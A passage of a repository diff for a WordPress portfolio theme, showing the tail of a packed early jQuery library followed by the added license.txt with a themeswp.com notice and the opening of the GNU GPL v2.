f=a.1o(/\\-(\\w)/g,q(m,c){v c.1D()});g=e.3S[a]||e.3S[f]}v g},31:q(a,c){u r=[];c=c||P;6.F(a,q(i,b){7(!b)v;7(b.15==3y)b=b.3v();7(1g b=="1s"){u s=6.2C(b).2H(),1x=c.5h("1x"),1N=[];u a=!s.J("<1H")&&[1,"<2y>",""]||!s.J("<7g")&&[1,"<52>",""]||(!s.J("<7c")||!s.J("<1z")||!s.J("<7a")||!s.J("<78"))&&[1,"<1r>",""]||!s.J("<2V")&&[2,"<1r><1z>",""]||(!s.J("<75")||!s.J("<74"))&&[3,"<1r><1z><2V>",""]||!s.J("<73")&&[2,"<1r><4W>",""]||[0,"",""];1x.27=a[1]+b+a[2];1v(a[0]--)1x=1x.1d;7(6.M.1h){7(!s.J("<1r")&&s.J("<1z")<0)1N=1x.1d&&1x.1d.2S;B 7(a[1]=="<1r>"&&s.J("<1z")<0)1N=1x.2S;E(u n=1N.C-1;n>=0;--n)7(6.Q(1N[n],"1z")&&!1N[n].2S.C)1N[n].L.3q(1N[n])}b=6.2L(1x.2S)}7(0===b.C&&(!6.Q(b,"34")&&!6.Q(b,"2y")))v;7(b[0]==I||6.Q(b,"34")||b.71)r.R(b);B r=6.1T(r,b)});v r},1b:q(c,d,a){u e=6.40(c)?{}:6.3H;7(e[d]){7(a!=I)c[e[d]]=a;v c[e[d]]}B 7(a==I&&6.M.1h&&6.Q(c,"34")&&(d=="70"||d=="6Y"))v c.6W(d).5R;B 7(c.4z){7(a!=I)c.6U(d,a);7(6.M.1h&&/4M|2u/.17(d)&&!6.40(c))v c.35(d,2);v c.35(d)}B{7(d=="1e"&&6.M.1h){7(a!=I){c.5U=1;c.1i=(c.1i||"").1o(/4L\\([^)]*\\)/,"")+(39(a).3v()=="6M"?"":"4L(1e="+a*4X+")")}v c.1i?(39(c.1i.3t(/1e=([^)]*)/)[1])/4X).3v():""}d=d.1o(/-([a-z])/6K,q(z,b){v b.1D()});7(a!=I)c[d]=a;v c[d]}},2C:q(t){v t.1o(/^\\s+|\\s+$/g,"")},2L:q(a){u r=[];7(1g a!="6I")E(u i=0,26=a.C;i<26;i++)r.R(a[i]);B r=a.51(0);v r},2w:q(b,a){E(u i=0,26=a.C;i<26;i++)7(a[i]==b)v i;v-1},1T:q(a,b){E(u i=0;b[i];i++)a.R(b[i]);v a},5g:q(a){u r=[],3P=6.1k++;E(u i=0,4G=a.C;i<4G;i++)7(3P!=a[i].1k){a[i].1k=3P;r.R(a[i])}v r},1k:0,2s:q(c,b,d){7(1g b=="1s")b=14 45("a","i","v "+b);u a=[];E(u i=0,30=c.C;i<30;i++)7(!d&&b(c[i],i)||d&&!b(c[i],i))a.R(c[i]);v a},3k:q(c,b){7(1g b=="1s")b=14 45("a","v "+b);u d=[];E(u i=0,30=c.C;i<30;i++){u a=b(c[i],i);7(a!==H&&a!=I){7(a.15!=2b)a=[a];d=d.6v(a)}}v d}});14 q(){u b=6u.6t.2H();6.M={4D:(b.3t(/.+(?:6s|6q|6o|6m)[\\/: ]([\\d.]+)/)||[])[1],20:/5l/.17(b),2a:/2a/.17(b),1h:/1h/.17(b)&&!/2a/.17(b),3j:/3j/.17(b)&&!/(6h|5l)/.17(b)};6.6g=!6.M.1h||P.6f=="6c";6.1U=6.M.1h?"1U":"5x",6.3H={"E":"68","67":"12","3x":6.1U,5x:6.1U,1U:6.1U,27:"27",12:"12",2v:"2v",2r:"2r",2B:"2B",65:"63",2T:"2T",62:"5Z"}};6.F({4v:"a.L",4p:"6.4p(a)",8o:"6.22(a,2,\'1X\')",8n:"6.22(a,2,\'4t\')",8k:"6.4q(a.L.1d,a)",8h:"6.4q(a.1d)"},q(i,n){6.11[i]=q(a){u b=6.3k(9,n);7(a&&1g a=="1s")b=6.2x(a,b);v 9.1Z(b)}});6.F({5o:"3e",8g:"5w",2K:"5t",8f:"5s"},q(i,n){6.11[i]=q(){u a=19;v 9.F(q(){E(u j=0,26=a.C;j<26;j++)6(a[j])[n](9)})}});6.F({5v:q(a){6.1b(9,a,"");9.8d(a)},8c:q(c){6.12.1A(9,c)},88:q(c){6.12.1E(9,c)},87:q(c){6.12[6.12.3w(9,c)?"1E":"1A"](9,c)},1E:q(a){7(!a||6.1i(a,[9]).r.C)9.L.3q(9)},2Y:q(){1v(9.1d)9.3q(9.1d)}},q(i,n){6.11[i]=q(){v 9.F(n,19)}});6.F(["5Q","5P","5O","5N"],q(i,n){6.11[n]=q(a,b){v 9.1i(":"+n+"("+a+")",b)}});6.F(["1u","29"],q(i,n){6.11[n]=q(h){v h==I?(9.C?6.1f(9[0],n):H):9.1f(n,h.15==33?h:h+"4o")}});6.1c({4n:{"":"m[2]==\'*\'||6.Q(a,m[2])","#":"a.35(\'2m\')==m[2]",":":{5P:"im[3]-0",22:"m[3]-0==i",5Q:"m[3]-0==i",2Q:"i==0",2P:"i==r.C-1",5L:"i%2==0",5K:"i%2","2Q-3u":"a.L.3R(\'*\')[0]==a","2P-3u":"6.22(a.L.5J,1,\'4t\')==a","86-3u":"!6.22(a.L.5J,2,\'4t\')",4v:"a.1d",2Y:"!a.1d",5N:"(a.5H||a.85||\'\').J(m[3])>=0",4f:\'"1y"!=a.G&&6.1f(a,"U")!="1P"&&6.1f(a,"48")!="1y"\',1y:\'"1y"==a.G||6.1f(a,"U")=="1P"||6.1f(a,"48")=="1y"\',84:"!a.2r",2r:"a.2r",2B:"a.2B",2T:"a.2T||6.1b(a,\'2T\')",2A:"\'2A\'==a.G",4b:"\'4b\'==a.G",5F:"\'5F\'==a.G",4l:"\'4l\'==a.G",5E:"\'5E\'==a.G",4k:"\'4k\'==a.G",5D:"\'5D\'==a.G",5C:"\'5C\'==a.G",1J:\'"1J"==a.G||6.Q(a,"1J")\',5B:"/5B|2y|82|1J/i.17(a.Q)"},"[":"6.1L(m[2],a).C"},5A:[/^\\[ *(@)([\\w-]+) *([!*$^~=]*) *(\'?"?)(.*?)\\4 *\\]/,/^(\\[)\\s*(.*?(\\[.*?\\])?[^[]*?)\\s*\\]/,/^(:)([\\w-]+)\\("?\'?(.*?(\\(.*?\\))?[^(]*?)"?\'?\\)/,14 3o("^([:.#]*)("+(6.2J=6.M.20&&6.M.4D<"3.0.0"?"\\\\w":"(?:[\\\\w\\7Z-\\7X*1I-]|\\\\\\\\.)")+"+)")],2x:q(a,c,b){u d,1K=[];1v(a&&a!=d){d=a;u f=6.1i(a,c,b);a=f.t.1o(/^\\s*,\\s*/,"");1K=b?c=f.r:6.1T(1K,f.r)}v 1K},1L:q(t,l){7(1g t!="1s")v[t];7(l&&!l.1q)l=H;l=l||P;7(!t.J("//")){l=l.4h;t=t.2G(2,t.C)}B 7(!t.J("/")&&!l.2O){l=l.4h;t=t.2G(1,t.C);7(t.J("/")>=1)t=t.2G(t.J("/"),t.C)}u b=[l],2j=[],2P;1v(t&&2P!=t){u r=[];2P=t;t=6.2C(t).1o(/^\\/\\//,"");u k=N;u g=14 3o("^[/>]\\\\s*("+6.2J+"+)");u m=g.1V(t);7(m){u o=m[1].1D();E(u i=0;b[i];i++)E(u c=b[i].1d;c;c=c.1X)7(c.1q==1&&(o=="*"||c.Q.1D()==o.1D()))r.R(c);b=r;t=t.1o(g,"");7(t.J(" ")==0)7R;k=K}B{g=/^((\\/?\\.\\.)|([>\\/+~]))\\s*([a-z]*)/i;7((m=g.1V(t))!=H){r=[];u o=m[4],1k=6.1k++;m=m[1];E(u j=0,2e=b.C;j<2e;j++)7(m.J("..")<0){u n=m=="~"||m=="+"?b[j].1X:b[j].1d;E(;n;n=n.1X)7(n.1q==1){7(m=="~"&&n.1k==1k)1F;7(!o||n.Q.1D()==o.1D()){7(m=="~")n.1k=1k;r.R(n)}7(m=="+")1F}}B r.R(b[j].L);b=r;t=6.2C(t.1o(g,""));k=K}}7(t&&!k){7(!t.J(",")){7(l==b[0])b.4e();2j=6.1T(2j,b);r=b=[l];t=" "+t.2G(1,t.C)}B{u h=14 3o("^("+6.2J+"+)(#)("+6.2J+"+)");u m=h.1V(t);7(m){m=[0,m[2],m[3],m[1]]}B{h=14 3o("^([#.]?)("+6.2J+"*)");m=h.1V(t)}m[2]=m[2].1o(/\\\\/g,"");u f=b[b.C-1];7(m[1]=="#"&&f&&f.4d){u p=f.4d(m[2]);7((6.M.1h||6.M.2a)&&p&&1g p.2m=="1s"&&p.2m!=m[2])p=6(\'[@2m="\'+m[2]+\'"]\',f)[0];b=r=p&&(!m[3]||6.Q(p,m[3]))?[p]:[]}B{E(u i=0;b[i];i++){u a=m[1]!=""||m[0]==""?"*":m[2];7(a=="*"&&b[i].Q.2H()=="7P")a="2E";r=6.1T(r,b[i].3R(a))}7(m[1]==".")r=6.4c(r,m[2]);7(m[1]=="#"){u e=[];E(u i=0;r[i];i++)7(r[i].35("2m")==m[2]){e=[r[i]];1F}r=e}b=r}t=t.1o(h,"")}}7(t){u d=6.1i(t,r);b=r=d.r;t=6.2C(d.t)}}7(t)b=[];7(b&&l==b[0])b.4e();2j=6.1T(2j,b);v 2j},4c:q(r,m,a){m=" "+m+" ";u b=[];E(u i=0;r[i];i++){u c=(" "+r[i].12+" ").J(m)>=0;7(!a&&c||a&&!c)b.R(r[i])}v b},1i:q(t,r,h){u d;1v(t&&t!=d){d=t;u p=6.5A,m;E(u i=0;p[i];i++){m=p[i].1V(t);7(m){t=t.7N(m[0].C);m[2]=m[2].1o(/\\\\/g,"");1F}}7(!m)1F;7(m[1]==":"&&m[2]=="4Y")r=6.1i(m[3],r,K).r;B 7(m[1]==".")r=6.4c(r,m[2],h);B 7(m[1]=="@"){u g=[],G=m[3];E(u i=0,2e=r.C;i<2e;i++){u a=r[i],z=a[6.3H[m[2]]||m[2]];7(z==H||/4M|2u/.17(m[2]))z=6.1b(a,m[2])||\'\';7((G==""&&!!z||G=="="&&z==m[5]||G=="!="&&z!=m[5]||G=="^="&&z&&!z.J(m[5])||G=="$="&&z.2G(z.C-m[5].C)==m[5]||(G=="*="||G=="~=")&&z.J(m[5])>=0)^h)g.R(a)}r=g}B 7(m[1]==":"&&m[2]=="22-3u"){u e=6.1k++,g=[],17=/(\\d*)n\\+?(\\d*)/.1V(m[3]=="5L"&&"2n"||m[3]=="5K"&&"2n+1"||!/\\D/.17(m[3])&&"n+"+m[3]||m[3]),2Q=(17[1]||1)-0,d=17[2]-0;E(u i=0,2e=r.C;i<2e;i++){u j=r[i],L=j.L;7(e!=L.1k){u c=1;E(u n=L.1d;n;n=n.1X)7(n.1q==1)n.4a=c++;L.1k=e}u b=N;7(2Q==1){7(d==0||j.4a==d)b=K}B 7((j.4a+d)%2Q==0)b=K;7(b^h)g.R(j)}r=g}B{u f=6.4n[m[1]];7(1g f!="1s")f=6.4n[m[1]][m[2]];49("f = q(a,i){v "+f+"}");r=6.2s(r,f,h)}}v{r:r,t:t}},4p:q(c){u b=[];u a=c.L;1v(a&&a!=P){b.R(a);a=a.L}v b},22:q(a,e,c,b){e=e||1;u d=0;E(;a;a=a[c])7(a.1q==1&&++d==e)1F;v a},4q:q(n,a){u r=[];E(;n;n=n.1X){7(n.1q==1&&(!a||n!=a))r.R(n)}v r}});6.S={1A:q(d,e,c,b){7(6.M.1h&&d.3m!=I)d=18;7(!c.1Q)c.1Q=9.1Q++;7(b!=I){u f=c;c=q(){v f.O(9,19)};c.W=b;c.1Q=f.1Q}7(!d.$1a)d.$1a={};7(!d.$1p)d.$1p=q(){u a;7(1g 6=="I"||6.S.47)v a;a=6.S.1p.O(d,19);v a};u g=d.$1a[e];7(!g){g=d.$1a[e]={};7(d.46)d.46(e,d.$1p,N);B d.7M("5r"+e,d.$1p)}g[c.1Q]=c;7(!9.Y[e])9.Y[e]=[];7(6.2w(d,9.Y[e])==-1)9.Y[e].R(d)},1Q:1,Y:{},1E:q(b,c,a){u d=b.$1a,1Y,2p;7(d){7(c&&c.G){a=c.44;c=c.G}7(!c){E(c V d)9.1E(b,c)}B 7(d[c]){7(a)3l d[c][a.1Q];B E(a V b.$1a[c])3l d[c][a];E(1Y V d[c])1F;7(!1Y){7(b.43)b.43(c,b.$1p,N);B b.7J("5r"+c,b.$1p);1Y=H;3l d[c];1v(9.Y[c]&&((2p=6.2w(b,9.Y[c]))>=0))3l 9.Y[c][2p]}}E(1Y V d)1F;7(!1Y)b.$1p=b.$1a=H}},1t:q(c,b,d){b=6.2L(b||[]);7(!d)6.F(9.Y[c]||[],q(){6.S.1t(c,b,9)});B{u a,1Y,11=6.16(d[c]||H);b.5p(9.42({G:c,1O:d}));7(6.16(d.$1p)&&(a=d.$1p.O(d,b))!==N)9.47=K;7(11&&a!==N&&!6.Q(d,\'a\'))d[c]();9.47=N}},1p:q(b){u a;b=6.S.42(b||18.S||{});u c=9.$1a&&9.$1a[b.G],1S=[].51.3D(19,1);1S.5p(b);E(u j V c){1S[0].44=c[j];1S[0].W=c[j].W;7(c[j].O(9,1S)===N){b.2d();b.2D();a=N}}7(6.M.1h)b.1O=b.2d=b.2D=b.44=b.W=H;v a},42:q(c){u a=c;c=6.1c({},a);c.2d=q(){7(a.2d)v a.2d();a.7H=N};c.2D=q(){7(a.2D)v a.2D();a.7F=K};7(!c.1O&&c.5n)c.1O=c.5n;7(6.M.20&&c.1O.1q==3)c.1O=a.1O.L;7(!c.41&&c.4j)c.41=c.4j==c.1O?c.7C:c.4j;7(c.5k==H&&c.5j!=H){u e=P.4h,b=P.4y;c.5k=c.5j+(e&&e.5i||b.5i);c.7z=c.7y+(e&&e.5f||b.5f)}7(!c.3h&&(c.5e||c.5d))c.3h=c.5e||c.5d;7(!c.5c&&c.5b)c.5c=c.5b;7(!c.3h&&c.1J)c.3h=(c.1J&1?1:(c.1J&2?3:(c.1J&4?2:0)));v c}};6.11.1c({3g:q(c,a,b){v c=="3z"?9.3Z(c,a,b):9.F(q(){6.S.1A(9,c,b||a,b&&a)})},3Z:q(d,b,c){v 9.F(q(){6.S.1A(9,d,q(a){6(9).3U(a);v(c||b).O(9,19)},c&&b)})},3U:q(a,b){v 9.F(q(){6.S.1E(9,a,b)})},1t:q(a,b){v 9.F(q(){6.S.1t(a,b,9)})},1R:q(){u a=19;v 9.5a(q(e){9.4u=0==9.4u?1:0;e.2d();v a[9.4u].O(9,[e])||N})},7w:q(f,g){q 3W(e){u p=e.41;1v(p&&p!=9)2g{p=p.L}25(e){p=9};7(p==9)v N;v(e.G=="3V"?f:g).O(9,[e])}v 9.3V(3W).59(3W)},1G:q(f){7(6.3d)f.O(P,[6]);B 6.2q.R(q(){v f.O(9,[6])});v 9}});6.1c({3d:N,2q:[],1G:q(){7(!6.3d){6.3d=K;7(6.2q){6.F(6.2q,q(){9.O(P)});6.2q=H}7(6.M.3j||6.M.2a)P.43("58",6.1G,N);7(!18.7v.C)6(18).1W(q(){6("#3T").1E()})}}});14 q(){6.F(("7u,7t,1W,7s,7r,3z,5a,7q,"+"7p,7o,7n,3V,59,7m,2y,"+"4k,7l,7k,7j,2c").2R(","),q(i,o){6.11[o]=q(f){v f?9.3g(o,f):9.1t(o)}});7(6.M.3j||6.M.2a)P.46("58",6.1G,N);B 7(6.M.1h){P.7i("<7h"+"7f 2m=3T 7e=K "+"2u=//:><\\/3b>");u a=P.4d("3T");7(a)a.7d=q(){7(9.3a!="1n")v;6.1G()};a=H}B 7(6.M.20)6.3N=3m(q(){7(P.3a=="79"||P.3a=="1n"){3M(6.3N);6.3N=H;6.1G()}},10);6.S.1A(18,"1W",6.1G)};7(6.M.1h)6(18).3Z("3z",q(){u a=6.S.Y;E(u b V a){u c=a[b],i=c.C;7(i&&b!=\'3z\')77 c[i-1]&&6.S.1E(c[i-1],b);1v(--i)}});6.11.1c({76:q(c,b,a){9.1W(c,b,a,1)},1W:q(g,d,c,e){7(6.16(g))v 9.3g("1W",g);c=c||q(){};u f="3K";7(d)7(6.16(d)){c=d;d=H}B{d=6.2E(d);f="50"}u h=9;6.2Z({1C:g,G:f,W:d,2t:e,1n:q(a,b){7(b=="28"||!e&&b=="4V")h.1b("27",a.3c).3J().F(c,[a.3c,b,a]);B c.O(h,[a.3c,b,a])}});v 9},72:q(){v 6.2E(9)},3J:q(){v 9.1L("3b").F(q(){7(9.2u)6.4U(9.2u);B 6.3I(9.2A||9.5H||9.27||"")}).2U()}});6.F("4T,4I,4S,4R,4Q,4P".2R(","),q(i,o){6.11[o]=q(f){v 9.3g(o,f)}});6.1c({1M:q(e,c,a,d,b){7(6.16(c)){a=c;c=H}v 6.2Z({G:"3K",1C:e,W:c,28:a,3G:d,2t:b})},6X:q(d,b,a,c){v 6.1M(d,b,a,c,1)},4U:q(b,a){v 6.1M(b,H,a,"3b")},6V:q(c,b,a){v 6.1M(c,b,a,"4N")},6T:q(d,b,a,c){7(6.16(b)){a=b;b={}}v 6.2Z({G:"50",1C:d,W:b,28:a,3G:c})},6S:q(a){6.36.21=a},6Q:q(a){6.1c(6.36,a)},36:{Y:K,G:"3K",21:0,4O:"6P/x-6O-34-6N",4K:K,38:K,W:H},32:{},2Z:q(s){s=6.1c({},6.36,s);7(s.W){7(s.4K&&1g s.W!="1s")s.W=6.2E(s.W);7(s.G.2H()=="1M"){s.1C+=((s.1C.J("?")>-1)?"&":"?")+s.W;s.W=H}}7(s.Y&&!6.3L++)6.S.1t("4T");u f=N;u h=18.4Z?14 4Z("6L.6J"):14 4J();h.7b(s.G,s.1C,s.38);7(s.W)h.3Q("6H-6G",s.4O);7(s.2t)h.3Q("6F-3O-6D",6.32[s.1C]||"6C, 6B 6A 6z 4r:4r:4r 6y");h.3Q("X-6x-6w","4J");7(s.56)s.56(h);7(s.Y)6.S.1t("4P",[h,s]);u g=q(d){7(h&&(h.3a==4||d=="21")){f=K;7(i){3M(i);i=H}u c;2g{c=6.54(h)&&d!="21"?s.2t&&6.4F(h,s.1C)?"4V":"28":"2c";7(c!="2c"){u b;2g{b=h.3E("53-3O")}25(e){}7(s.2t&&b)6.32[s.1C]=b;u a=6.55(h,s.3G);7(s.28)s.28(a,c);7(s.Y)6.S.1t("4Q",[h,s])}B 6.2X(s,h,c)}25(e){c="2c";6.2X(s,h,c,e)}7(s.Y)6.S.1t("4S",[h,s]);7(s.Y&&!--6.3L)6.S.1t("4I");7(s.1n)s.1n(h,c);7(s.38)h=H}};u i=3m(g,13);7(s.21>0)4C(q(){7(h){h.6r();7(!f)g("21")}},s.21);2g{h.6p(s.W)}25(e){6.2X(s,h,H,e)}7(!s.38)g();v h},2X:q(s,a,b,e){7(s.2c)s.2c(a,b,e);7(s.Y)6.S.1t("4R",[a,s,e])},3L:0,54:q(r){2g{v!r.23&&7A.7B=="4l:"||(r.23>=5u&&r.23<6l)||r.23==5m||6.M.20&&r.23==I}25(e){}v N},4F:q(a,c){2g{u b=a.3E("53-3O");v a.23==5m||b==6.32[c]||6.M.20&&a.23==I}25(e){}v N},55:q(r,b){u c=r.3E("6k-G");u a=!b&&c&&c.J("4B")>=0;a=b=="4B"||a?r.6j:r.3c;7(b=="3b")6.3I(a);7(b=="4N")a=49("("+a+")");7(b=="3F")6("<1x>").3F(a).3J();v a},2E:q(a){u s=[];7(a.15==2b||a.3C)6.F(a,q(){s.R(2l(9.6i)+"="+2l(9.2v))});B E(u j V a)7(a[j]&&a[j].15==2b)6.F(a[j],q(){s.R(2l(j)+"="+2l(9))});B s.R(2l(j)+"="+2l(a[j]));v s.5M("&")},3I:q(a){7(18.4A)18.4A(a);B 7(6.M.20)18.4C(a,0);B 49.3D(18,a)}});6.11.1c({1m:q(b,a){v b?9.1w({1u:"1m",29:"1m",1e:"1m"},b,a):9.1i(":1y").F(q(){9.T.U=9.2i?9.2i:"";7(6.1f(9,"U")=="1P")9.T.U="2h"}).2U()},1j:q(b,a){v b?9.1w({1u:"1j",29:"1j",1e:"1j"},b,a):9.1i(":4f").F(q(){9.2i=9.2i||6.1f(9,"U");7(9.2i=="1P")9.2i="2h";9.T.U="1P"}).2U()},5G:6.11.1R,1R:q(a,b){v 6.16(a)&&6.16(b)?9.5G(a,b):a?9.1w({1u:"1R",29:"1R",1e:"1R"},a,b):9.F(q(){6(9)[6(9).37(":1y")?"1m":"1j"]()})},6e:q(b,a){v 9.1w({1u:"1m"},b,a)},6d:q(b,a){v 9.1w({1u:"1j"},b,a)},6b:q(b,a){v 9.1w({1u:"1R"},b,a)},6a:q(b,a){v 9.1w({1e:"1m"},b,a)},69:q(b,a){v 9.1w({1e:"1j"},b,a)},7U:q(c,a,b){v 9.1w({1e:a},c,b)},1w:q(d,h,f,g){v 9.1l(q(){u c=6(9).37(":1y"),1H=6.5z(h,f,g),5y=9;E(u p V d){7(d[p]=="1j"&&c||d[p]=="1m"&&!c)v 6.16(1H.1n)&&1H.1n.O(9);7(p=="1u"||p=="29"){1H.U=6.1f(9,"U");1H.2f=9.T.2f}}7(1H.2f!=H)9.T.2f="1y";9.2k=6.1c({},d);6.F(d,q(a,b){u e=14 6.2M(5y,1H,a);7(b.15==3y)e.2W(e.1K(),b);B e[b=="1R"?c?"1m":"1j":b](d)})})},1l:q(a,b){7(!b){b=a;a="2M"}v 9.F(q(){7(!9.1l)9.1l={};7(!9.1l[a])9.1l[a]=[];9.1l[a].R(b);7(9.1l[a].C==1)b.O(9)})}});6.1c({5z:q(b,a,c){u d=b&&b.15==64?b:{1n:c||!c&&a||6.16(b)&&b,1B:b,2I:c&&a||a&&a.15!=45&&a||(6.2I.4i?"4i":"4w")};d.1B=(d.1B&&d.1B.15==3y?d.1B:{61:60,89:5u}[d.1B])||8a;d.2N=d.1n;d.1n=q(){6.5I(9,"2M");7(6.16(d.2N))d.2N.O(9)};v d},2I:{4w:q(p,n,b,a){v b+a*p},4i:q(p,n,b,a){v((-5W.5X(p*5W.8e)/2)+0.5)*a+b}},1l:{},5I:q(b,a){a=a||"2M";7(b.1l&&b.1l[a]){b.1l[a].4e();u f=b.1l[a][0];7(f)f.O(b)}},3B:[],2M:q(f,e,g){u z=9;u y=f.T;z.a=q(){7(e.3A)e.3A.O(f,[z.2o]);7(g=="1e")6.1b(y,"1e",z.2o);B{y[g]=8m(z.2o)+"4o";y.U="2h"}};z.5V=q(){v 39(6.1f(f,g))};z.1K=q(){u r=39(6.2z(f,g));v r&&r>-8l?r:z.5V()};z.2W=q(c,b){z.4s=(14 5T()).5S();z.2o=c;z.a();6.3B.R(q(){v z.3A(c,b)});7(6.3B.C==1){u d=3m(q(){u a=6.3B;E(u i=0;ie.1B+z.4s){z.2o=c;z.a();7(f.2k)f.2k[g]=K;u b=K;E(u i V f.2k)7(f.2k[i]!==K)b=N;7(b){7(e.U!=H){y.2f=e.2f;y.U=e.U;7(6.1f(f,"U")=="1P")y.U="2h"}7(e.1j)y.U="1P";7(e.1j||e.1m)E(u p V f.2k)6.1b(y,p,f.24[p])}7(b&&6.16(e.1n))e.1n.O(f);v N}B{u n=t-9.4s;u p=n/e.1B;z.2o=6.2I[e.2I](p,n,a,(c-a),e.1B);z.a()}v K}}})}',62,524,'||||||jQuery|if||this|||||||||||||||||function||||var|return||||||else|length||for|each|type|null|undefined|indexOf|true|parentNode|browser|false|apply|document|nodeName|push|event|style|display|in|data||global|||fn|className||new|constructor|isFunction|test|window|arguments|events|attr|extend|firstChild|opacity|css|typeof|msie|filter|hide|mergeNum|queue|show|complete|replace|handle|nodeType|table|string|trigger|height|while|animate|div|hidden|tbody|add|duration|url|toUpperCase|remove|break|ready|opt|_|button|cur|find|get|tb|target|none|guid|toggle|args|merge|styleFloat|exec|load|nextSibling|ret|pushStack|safari|timeout|nth|status|orig|catch|al|innerHTML|success|width|opera|Array|error|preventDefault|rl|overflow|try|block|oldblock|done|curAnim|encodeURIComponent|id||now|index|readyList|disabled|grep|ifModified|src|value|inArray|multiFilter|select|curCSS|text|checked|trim|stopPropagation|param|domManip|substr|toLowerCase|easing|chars|insertBefore|makeArray|fx|old|ownerDocument|last|first|split|childNodes|selected|end|tr|custom|handleError|empty|ajax|el|clean|lastModified|String|form|getAttribute|ajaxSettings|is|async|parseFloat|readyState|script|responseText|isReady|append|defaultView|bind|which|position|mozilla|map|delete|setInterval|static|RegExp|oWidth|removeChild|oHeight|cloneNode|match|child|toString|has|float|Number|unload|step|timers|jquery|call|getResponseHeader|html|dataType|props|globalEval|evalScripts|GET|active|clearInterval|safariTimer|Modified|num|setRequestHeader|getElementsByTagName|currentStyle|__ie_init|unbind|mouseover|handleHover|init|getComputedStyle|one|isXMLDoc|relatedTarget|fix|removeEventListener|handler|Function|addEventListener|triggered|visibility|eval|nodeIndex|radio|classFilter|getElementById|shift|visible|appendChild|documentElement|swing|fromElement|submit|file|swap|expr|px|parents|sibling|00|startTime|previousSibling|lastToggle|parent|linear|ol|body|tagName|execScript|xml|setTimeout|version|setArray|httpNotModified|fl|prop|ajaxStop|XMLHttpRequest|processData|alpha|href|json|contentType|ajaxSend|ajaxSuccess|ajaxError|ajaxComplete|ajaxStart|getScript|notmodified|colgroup|100|not|ActiveXObject|POST|slice|fieldset|Last|httpSuccess|httpData|beforeSend|getPropertyValue|DOMContentLoaded|mouseout|click|ctrlKey|metaKey|keyCode|charCode|scrollTop|unique|createElement|scrollLeft|clientX|pageX|webkit|304|srcElement|appendTo|unshift|prevObject|on|after|before|200|removeAttr|prepend|cssFloat|self|speed|parse|input|reset|image|password|checkbox|_toggle|textContent|dequeue|lastChild|odd|even|join|contains|gt|lt|eq|nodeValue|getTime|Date|zoom|max|Math|cos|font|maxLength|600|slow|maxlength|readOnly|Object|readonly|createTextNode|class|htmlFor|fadeOut|fadeIn|slideToggle|CSS1Compat|slideUp|slideDown|compatMode|boxModel|compatible|name|responseXML|content|300|ie|noConflict|ra|send|it|abort|rv|userAgent|navigator|concat|With|Requested|GMT|1970|Jan|01|Thu|Since|reverse|If|Type|Content|array|XMLHTTP|ig|Microsoft|NaN|urlencoded|www|application|ajaxSetup|val|ajaxTimeout|post|setAttribute|getJSON|getAttributeNode|getIfModified|method|FORM|action|options|serialize|col|th|td|loadIfModified|do|colg|loaded|tfoot|open|thead|onreadystatechange|defer|ipt|leg|scr|write|keyup|keypress|keydown|change|mousemove|mouseup|mousedown|dblclick|scroll|resize|focus|blur|frames|hover|clone|clientY|pageY|location|protocol|toElement|clientWidth|clientHeight|cancelBubble|relative|returnValue|left|detachEvent|right|absolute|attachEvent|substring|offsetWidth|object|offsetHeight|continue|Width|border|fadeTo|padding|size|uFFFF|Left|u0128|Right|Bottom|textarea|Top|enabled|innerText|only|toggleClass|removeClass|fast|400|wrap|addClass|removeAttribute|PI|insertAfter|prependTo|children|line|splice|siblings|10000|parseInt|prev|next|weight|1px|prototype'.split('|'),0,{})) \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/license.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/license.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,119 @@ +This wordpress theme must be used with accordance to it's creator's license. You can find the link to theme creator's website in your Wordpress admin panel. Most of themes downloaded from themeswp.com are released under GNU GPL license. Also when downloading theme from themeswp.com you should read and agree with terms of services: + +1) GNU GPL License + +GNU GENERAL PUBLIC LICENSE +Version 2, June 1991 + +Copyright (C) 1989, 1991 Free Software Foundation, Inc. +51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA + +Everyone is permitted to copy and distribute verbatim copies +of this license document, but changing it is not allowed. + +Preamble + +The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. + +When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. + +To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. + +For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. + +We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. + +Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. + +Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. + +The precise terms and conditions for copying, distribution and modification follow. +TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + +0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. + +1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. + +You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. + 